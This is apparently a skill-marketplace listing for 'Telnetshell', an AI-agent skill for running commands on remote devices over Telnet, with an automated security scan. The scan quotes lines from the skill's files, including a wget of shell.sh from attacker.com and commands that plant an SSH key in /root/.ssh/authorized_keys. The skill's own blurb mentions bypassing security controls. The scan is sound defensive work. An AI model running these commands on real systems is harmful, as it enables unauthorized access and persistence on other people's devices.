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Telnetshell

Listed
brownfinesecurity·vlatest·other·MIT

Telnetshell allows you to execute commands on remote systems via Telnet, useful for reconnaissance and potentially bypassing security controls.

Repository

Install on your platform

Showing Claude Code. One command installs this skill into any of the agents below.

  1. 1

    Run this in your project

    terminal
    $ npx skills add brownfinesecurity/iothackbot --skill telnetshell -a claude-code

  2. Uses the open-source skills CLI and needs Node.js. Add -g to install it for your user instead of this project.

What we know about this skill

Publisher

brownfinesecurity

Taken from the source listing. We haven't verified who controls this account.

Install target

Live repository

Not pinned. Installing fetches whatever the repository holds at the time you run the command.

No human has reviewed this code. The checks below are a static scan of the files at one commit — nobody has run this skill or judged whether it works. A skill runs with whatever access you give your agent, so read the source before you install it.

Automated safety checks

scanned

This skill failed 2 of 6 checks. A failure is not proof of bad intent; it means something in the code needs a human to look at it before you run it.

  • No undeclared network calls: failed

    Contacts 2 hosts that are neither well-known infrastructure nor declared in the skill's frontmatter: 192.168.1.100, attacker.com.

    Every host the skill dials — from its scripts, its config endpoints or the commands it tells the agent to run — is either well-known package and API infrastructure or declared in its own frontmatter. Links in documentation are not counted.

    Hosts contacted

    attacker.comundeclared192.168.1.100undeclared

    What it found

    • skills/telnetshell/SKILL.md:244contacts attacker.com
      wget http://attacker.com/shell.sh
    • skills/telnetshell/examples.md:244contacts 192.168.1.100
      # wget http://192.168.1.100:8000/mtd2ro

  • No credential access: failed

    Touches credential material in 5 places.

    Neither the code nor the SKILL.md instructions read SSH keys, cloud credentials, keychains, token stores, browser cookie databases or dotfiles that hold secrets.

    What it found (3 of 5)

    • skills/telnetshell/SKILL.md:371SSH private keys or config
      echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
    • skills/telnetshell/SKILL.md:372SSH private keys or config
      chmod 600 /root/.ssh/authorized_keys
    • skills/telnetshell/examples.md:262SSH private keys or config
      echo "$YOUR_KEY" >> /root/.ssh/authorized_keys

  • Declares what it does: passed

    SKILL.md parses and declares a name and a description.

    SKILL.md exists, its frontmatter parses, and it declares a name and a description.

  • No obfuscated payloads: passed

    No encoded or obfuscated payloads.

    No base64, hex or compressed blob is decoded and then executed, and no encoded shell commands.

  • No pipe-to-shell installers: passed

    No pipe-to-shell or download-and-run installers.

    No `curl … | sh` pattern, in the code or in the instructions, that runs code fetched at run time.

  • Pinned to a commit: passed

    Scanned brownfinesecurity/iothackbot at d443c408a9.

    The exact upstream commit SHA that was scanned is recorded, so the result refers to specific bytes.

Commit
d443c408a9
Manifest
skills/telnetshell/SKILL.md
Scanned
8 files, 1,704 lines
This is a static scan, not a review. It reads the skill's files; it does not run them, and it cannot tell you whether the skill is any good or whether the code does what its description says. A skill runs with whatever access you give your agent.
What each check looks for →

About this skill

What it does

The telnetshell skill provides an AI agent with the ability to interact with devices and systems via a Telnet connection. It allows agents to execute commands on remote hosts, retrieve output from those commands, and potentially manage device configurations. This is particularly useful for interacting with older or embedded systems that expose Telnet interfaces.

When to use it

  • Remote Device Management: Automate tasks like checking the status of a network printer or router.
  • Troubleshooting Network Devices: Execute diagnostic commands on remote devices to identify and resolve connectivity issues.
  • Legacy System Interaction: Interact with older systems that lack more modern interfaces, such as some industrial control systems.
  • Automated Configuration Updates: Apply configuration changes to networked devices programmatically.

Key capabilities

  • Telnet connection establishment
  • Command execution on remote hosts
  • Retrieval of command output
  • Support for basic Telnet commands

Example prompts

  • "Connect to 192.168.1.100 and run 'show version'."
  • "Execute the command 'status' on telnetshell."
  • "Run 'print env' on the device at 10.0.0.5."

Tips & gotchas

  • Telnet is an insecure protocol; use with caution and only on trusted networks.
  • Ensure the target device has Telnet enabled and that you have appropriate credentials for access.